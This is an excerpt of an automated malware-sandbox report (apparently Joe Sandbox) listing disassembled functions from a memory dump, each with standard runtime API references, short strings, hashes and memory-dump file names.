String ID:
API String ID: 593203224-0
Opcode ID: 08f660a80a6bd6db7d3452848060bf96eabaf76c459d8e3d31bb2cc7a43d8b64
Instruction ID: 823b7bbf536027184d801746c159595cb459c7467425a432af3af6d4972b8682
Opcode Fuzzy Hash: 08f660a80a6bd6db7d3452848060bf96eabaf76c459d8e3d31bb2cc7a43d8b64
Instruction Fuzzy Hash: F5314F26A0AA4295FF05EF55E4401B967A1FF46FA4F080536DA0D876EADE7CEC42C320

Function 00007FF6A54C4D70 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4D85
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4DAA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4DD4
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4E6C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 175a4327bf2b3b06f3d95371e1b0a11bdbe8cfea884c63090f2e2448b9f805a8
Instruction ID: 66338913482d6f13b6e5bf8f5a6ec9c26be49f1d0976c34cf31de2913b61c857
Opcode Fuzzy Hash: 175a4327bf2b3b06f3d95371e1b0a11bdbe8cfea884c63090f2e2448b9f805a8
Instruction Fuzzy Hash: 5F318D25A0AA4281FA15EF56E5405B86761FF87FA1F090132DA0DC76A6DF7CFC86C320

Function 00007FF6A54D6E00 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6E15
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6E3A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6E64
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6EFC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 1566fae3d0445a6c441ba320261657d37fc91eae55285bf6e743efda64440272
Instruction ID: 2d349990ff90ed3106c471e596fcdc9fde85d3626037453ac6fecf6b378d8eb0
Opcode Fuzzy Hash: 1566fae3d0445a6c441ba320261657d37fc91eae55285bf6e743efda64440272
Instruction Fuzzy Hash: E5315236A1AA4295FF15EF95E4401B967A1EF46FA0F180132DA1DC7696DF7CEC82C320

Function 00007FF6A54C50B8 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C50CD
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C50F2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C511C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C51B4

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 8e1c69f7fe255bc03789d27f0fc7e714bcf807a62433ab12183457e2a661c027
Instruction ID: 21b149e78b7e62d4d38c10ac45e2288778126d3dc0797c38aa8aea47bc6e99ba
Opcode Fuzzy Hash: 8e1c69f7fe255bc03789d27f0fc7e714bcf807a62433ab12183457e2a661c027
Instruction Fuzzy Hash: FB313E29E0AA4281EA05EF55E8441BD6761FF96FA0F480131DA0DC76A5EF7CFC46C320

Function 00007FF6A54C4FA0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4FB5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4FDA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C5004
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C509C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 36efe169a6ebd8aef92053f11cca52ea8b32167d8c389a821dd7b65474c87744
Instruction ID: be278c6296937af47b73831788cbf1679dceb130ae6d208c201f6d756ec4a7ab
Opcode Fuzzy Hash: 36efe169a6ebd8aef92053f11cca52ea8b32167d8c389a821dd7b65474c87744
Instruction Fuzzy Hash: 00316626A1AA4281FA15EF56E4401BD6751FF96FA1F080131DA0DC7696DF7CFC46C320

Function 00007FF6A54D7030 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D7045
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D706A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D7094
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D712C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 2117a84d37158296eec2bd850f87667277ffb73284195d52f6e2d41b2ff2937d
Instruction ID: 90f3f0f51b5e10b13ae132947c18304d72a6bbcca4c159da2eaf98dff5711e87
Opcode Fuzzy Hash: 2117a84d37158296eec2bd850f87667277ffb73284195d52f6e2d41b2ff2937d
Instruction Fuzzy Hash: 24315426A0AA4291EB05EF55D4402BD6791FF46FA4F080532DA4DC77D5DE7CEC42C320

Function 00007FF6A54D6AB8 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6ACD
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6AF2
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6B1C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6BB4

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 2732deb32a6e35dd6a2eb56c6452a49076469c3353fd504ed171353e37f136bc
Instruction ID: 7df8a3a50c36ca0ddf9be9978908fcee55ec938b19ed96f69e6d6d85e859ea08
Opcode Fuzzy Hash: 2732deb32a6e35dd6a2eb56c6452a49076469c3353fd504ed171353e37f136bc
Instruction Fuzzy Hash: 37318027A0AA5291FF05EF55E4441B867A1FF86FA4F580132DA0DC76A5DE7CEC82C320

Function 00007FF6A54D69A0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D69B5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D69DA
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6A04
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6A9C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 1239f9da964960b2540dbdd5ceb4f6c1a467ff7cef015842ba34e5ed629177e8
Instruction ID: f24058a5b9bc64addf16ac29aa7cb643afda76a650a0453b90b704aa0ddc67ef
Opcode Fuzzy Hash: 1239f9da964960b2540dbdd5ceb4f6c1a467ff7cef015842ba34e5ed629177e8
Instruction Fuzzy Hash: 7B317C26A0AA4291FF05EF65E4401B867A1FF87FA0F184132DA4D877A5DE7CEC42C320

Function 00007FF6A54C4A28 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4A3D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4A62
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4A8C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4B24

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 210c631a9135c7773bfa571deb22057c837beb874036450f135bcf1ac10e1455
Instruction ID: d39718dea488f81b4e2468f3f44f495e89ff20ea883251d09a841d945f9fe10f
Opcode Fuzzy Hash: 210c631a9135c7773bfa571deb22057c837beb874036450f135bcf1ac10e1455
Instruction Fuzzy Hash: 9B31A035A0AA4284EA05EF56E5001B96761FF86FA0F090132DA0DC77A5DF7CFC46C320

Function 00007FF6A54C4C58 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4C6D
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4C92
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4CBC
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4D54

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 442e0f71d7932d6e919f2b95302216f9b2e169bd45c5a1af0ab64b4b2f9f99a7
Instruction ID: e5763956ab1726e45d0f04b9a98bfa78fa083e16aefa0f312d57d964e7d50a52
Opcode Fuzzy Hash: 442e0f71d7932d6e919f2b95302216f9b2e169bd45c5a1af0ab64b4b2f9f99a7
Instruction Fuzzy Hash: B1315A39A0AA4281EA16EF55E5401B96761FF86FA1F090132DA0DC77A6DF7CFD46C320

Function 00007FF6A54D6CE8 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6CFD
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6D22
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6D4C
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6DE4

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 8fff2511940910620396665920ee95fa34a5df8c9eaa3d3847896387a02590da
Instruction ID: 47c4f5e32a45deb27bd76a20eaddfff0cc00b1e0f08d0f1fc773eedde46cb225
Opcode Fuzzy Hash: 8fff2511940910620396665920ee95fa34a5df8c9eaa3d3847896387a02590da
Instruction Fuzzy Hash: 1B316126A1AA5295FF15EF55E4401BD67A1EF46FA0F180132DA0DC76A6DF7CEC82C320

Function 00007FF6A54C4B40 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4B55
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54C4B7A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4BA4
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54C4C3C

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: cce6341b87599b0e14eb8a872d675033d5993f91c0dac61a5f71a53fe500180e
Instruction ID: 5f7b5359e8c4f9d656742758e2c286e4d5593b7c63a7e355c06629838d25c27b
Opcode Fuzzy Hash: cce6341b87599b0e14eb8a872d675033d5993f91c0dac61a5f71a53fe500180e
Instruction Fuzzy Hash: 85317035A0AA4281EA15EB55E5441B96761EF86FA0F090131DA0D876A5EF7CFC86C320

Function 00007FF6A54D6BD0 Relevance: 6.1, APIs: 4, Instructions: 81COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6BE5
std::_Lockit::_Lockit.LIBCPMT ref: 00007FF6A54D6C0A
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6C34
std::_Lockit::~_Lockit.LIBCPMT ref: 00007FF6A54D6CCC

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 50417b05fb83eb24c471181c41f370d196cd76f3d5177b63aae28d95052f253c
Instruction ID: be2ace16fd61733deec93aab824f488d094220b6619c1c4beb09c8e0aa352d5e
Opcode Fuzzy Hash: 50417b05fb83eb24c471181c41f370d196cd76f3d5177b63aae28d95052f253c
Instruction Fuzzy Hash: 12317C36A0AA4695FF15EB55E4401B967A1FF46FA0F080532DA0D877A6DF7CEC82C320

Function 00007FF6A54DE0A8 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6A54DE0D4
GetCurrentThreadId.KERNEL32 ref: 00007FF6A54DE0E2
GetCurrentProcessId.KERNEL32 ref: 00007FF6A54DE0EE
QueryPerformanceCounter.KERNEL32 ref: 00007FF6A54DE0FE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: b48594e765decf52db20480ba8359efc24b848fd086e7b6846042600721d5946
Instruction ID: d9828c206d4d4bb788de910111e153dbba890382b96d3a3a21d1f2828a601abe
Opcode Fuzzy Hash: b48594e765decf52db20480ba8359efc24b848fd086e7b6846042600721d5946
Instruction Fuzzy Hash: 26113326B15F028AEB00DF70E8542B833A4F75AB58F440E31EA6D86764DF7CE9558340

Function 00007FF6A54E136C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 163COMMONLIBRARYCODE

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A54E1396

Strings

csm, xrefs: 00007FF6A54E152A
csm, xrefs: 00007FF6A54E13BB

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: __except_validate_context_record
String ID: csm$csm
API String ID: 1467352782-3733052814
Opcode ID: 295241bc3eb802bc70d13b5f8b85ab08e650c0268fa9ac1412acb549de4f6502
Instruction ID: 33415320a0d6385042d1bdbb7a6594c66d1321e8099a5e391145bdca2c2953ba
Opcode Fuzzy Hash: 295241bc3eb802bc70d13b5f8b85ab08e650c0268fa9ac1412acb549de4f6502
Instruction Fuzzy Hash: AB71D172A0A68286D760DF25D4807BD7BA1EB47F89F14A132DE4E87A85CF3CD891C701

Function 00007FF6A54FAD44 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 122COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00007FF6A54FD618: _invalid_parameter_noinfo.LIBCMT ref: 00007FF6A54FD64B

_get_daylight.LIBCMT ref: 00007FF6A54FAE5C
_get_daylight.LIBCMT ref: 00007FF6A54FAE6D

Strings

?, xrefs: 00007FF6A54FADED

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo
String ID: ?
API String ID: 1286766494-1684325040
Opcode ID: 8ab20d3b69a48500a135df246594042954eb16e287eaf2d90c99010f7f0dc454
Instruction ID: 2bafff9918f05a94b46821c3f79dcd8ef2096e147bb3e869bd65b96f5b902102
Opcode Fuzzy Hash: 8ab20d3b69a48500a135df246594042954eb16e287eaf2d90c99010f7f0dc454
Instruction Fuzzy Hash: 5F410522A0A78246FB64DB2AE44137A6661EF82FA4F144235EE5C87AD5DF3CD8458700

Function 00007FF6A54E1A04 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00007FF6A54E1AAE
_CreateFrameInfo.LIBVCRUNTIME ref: 00007FF6A54E1AD7

Strings

csm, xrefs: 00007FF6A54E1BD7

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: CreateFrameInfo__except_validate_context_record
String ID: csm
API String ID: 2558813199-1018135373
Opcode ID: bb78f3907c44f2a1592bb94d34b41afc7e61a7643cd4709a50f3aedc06cebf7f
Instruction ID: 371906427998d0eca1587b6d723aa697f30d6f53a15beebc21bbc58c352102f6
Opcode Fuzzy Hash: bb78f3907c44f2a1592bb94d34b41afc7e61a7643cd4709a50f3aedc06cebf7f
Instruction Fuzzy Hash: 5F514C3361A74196E620DB15E14026D77E8FB8ABA4F141535EF8D87B66DF3CE861CB00

Function 00007FF6A54F8B68 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00007FF6A54F8C7F
GetLastError.KERNEL32 ref: 00007FF6A54F8CA1

Strings

U, xrefs: 00007FF6A54F8C2B

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: ed11073dd472fe1d6bf60e201386ec0a16f33f873fff8700653b1833bfdf3473
Instruction ID: b7583887cf8fc6380d824005cd9ceaa9532d08e4b7799900ecbf9776c2260d0a
Opcode Fuzzy Hash: ed11073dd472fe1d6bf60e201386ec0a16f33f873fff8700653b1833bfdf3473
Instruction Fuzzy Hash: 7641A46271AA8195DB20CF29E8443AA67A1FB85F94F444131EE4DCB798EF3CD845C740

Function 00007FF6A54A6FF0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 80COMMON

Download Yara Rule

APIs

type_info::_name_internal_method.LIBCMTD ref: 00007FF6A54A70B8

Strings

https, xrefs: 00007FF6A54A70AE
P, xrefs: 00007FF6A54A70CE

Memory Dump Source

Source File: 0000000E.00000002.1334784308.00007FF6A54A1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF6A54A0000, based on PE: true

Associated: 0000000E.00000002.1334757766.00007FF6A54A0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334835652.00007FF6A5507000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334863602.00007FF6A551D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000E.00000002.1334885866.00007FF6A5521000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_14_2_7ff6a54a0000_System-f4855f59e0.jbxd

Similarity

API ID: type_info::_name_internal_method
String ID: P$https
API String ID: 3713626258-3662734162
Opcode ID: 731a52718375062dfc645ce3eff56ac4f68a03956f433a48024afd2b9ffc264f
Instruction ID: 84037fdcd40d625ba03282d828939e4a11aa339114449f3591a52613149a7e81
Opcode Fuzzy Hash: 731a52718375062dfc645ce3eff56ac4f68a03956f433a48024afd2b9ffc264f
